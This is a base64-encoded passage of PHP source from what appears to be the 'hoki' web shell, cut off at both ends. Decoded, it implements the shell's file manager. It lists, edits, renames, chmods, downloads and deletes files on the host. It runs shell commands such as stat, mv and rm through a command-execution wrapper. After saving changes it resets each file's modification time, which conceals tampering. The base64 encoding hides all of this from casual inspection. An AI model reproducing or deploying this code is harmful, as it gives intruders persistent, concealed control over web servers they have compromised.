gaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PG
xhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzc
z0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4m
cGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3N
ldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JE
dMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuX
CcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxl
PSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4
gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3
NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmhva2lTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZ
nknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1v
ZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ
+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJy
xcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yK
FwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRs
ZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWR
fJy4kY2MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPi
c6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZ
XRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsK
JGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1
jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldC
gkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0naG9raTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJ
z5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVu
Y29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXN
zPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbn
RfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGa
Wxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJ
CX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnR
fcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3
BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJ
GxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3Bh
Z2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewo
JCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3
BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7C
n0KZnVuY3Rpb24gaG9raUZpbGVzVG9vbHMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkpJF9QT1NUWydob2tpMSddID0g
cmF3dXJsZGVjb2RlKCRfUE9TVFsnaG9raTEnXSk7CiRob2tpMV9kZWNvZGVkID0gJF9QT1NUWydob2tpMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1R
bJ2hva2kxJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJob2tpMSJdOwoJJGhva2lfY2FucnVuY21kID0gX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfaG9raTEgPSBhZG
RzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBob2tpRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfaG9raTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgP
SBob2tpRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVj
aG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2hva2kxJ10pKSl7CiRfUE9TVFsnaG9raTInXSA9ICdpbWFnZSc7Cn1lbHNlewo
JJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGhva2lFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG
9raTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydob2tpMiddID0gJ2ltYWdlJzsKCQkJCX0KC
QkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnaG9raTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydob2tpMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnaG9raTMnXTt9
CmlmKEAkX1BPU1RbJ2hva2kyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2hva2kxJ10gPSB0cmltKCRfUE9TVFsnaG9raTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkaG9raV9jYW5ydW5jbWQpewoJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWyJ
jIl0pKXsKCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydob2tpMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdH
MoJF9QT1NUWydob2tpMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2hva2kxJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKf
Qp9CmlmKCFfaG9raV9maWxlX2V4aXN0cyhAJF9QT1NUWydob2tpMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8
L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydob2tpNCddLiInKTs8L3NjcmlwdD4iOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJ
fZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcG
VybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93b
mVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydob2tpMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lk
KEBmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2hva2kxJ10pOicnOwokZ2lkWyduYW1lJ10
gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKTonJzsKfQokcGVybWNvbG9yID0gaG9raVBlcm1zQ29sb3IoJF9QT1NUWydob2tpMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVF
snaG9raTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfaG9raV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnX
SwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGhva2lFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiaG9raTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydob2tpMSdd
LCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2hva2kxJ107Cn1lbHNlewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFs
nYyddLicvJykuJF9QT1NUWydob2tpMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb1
92YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRob2tpMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5ob2tpU2l6ZSgkZmlsZXNpemUpLicgP
HNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10u
Jy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkaG9raV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnaG9raTInXSk
pJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwppZighX2hva2lfaXNfZGlyKCRfUE9TVFsnaG9raTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZX
RlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpC
mVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xh
c2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ
0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JH
YpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJ
yxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1A
JF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1RbJ2hva2kyJ10pewpjYXNlICd
2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSkmJiFfaG9raV9pc193cml0YWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKJGRpc2FibG
VkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokX1BPU1RbJ2hva2kzJ10gPSBzdWJzd
HIoJF9QT1NUWydob2tpMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydob2tpMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2hva2kxJ10sJF9QT1NUWydob2tpMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRob2tpX2NhbnJ1
bmNtZCl7Cgkkcm5hbWUgPSAkaG9raTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZ
wID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnaG9raTMnXSkpewoJCWhva2lFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaG
VzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnaG9raTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlld
y1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9ob2tpX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBj
bGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9Imhva2lBY2VUb0Z1bGxzY3JlZW4
odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZG
RzbGFzaGVzKCRob2tpMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2hva2k0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uI
GFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2
aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2M
nXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2
UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnaG9raTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpL
CRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewok
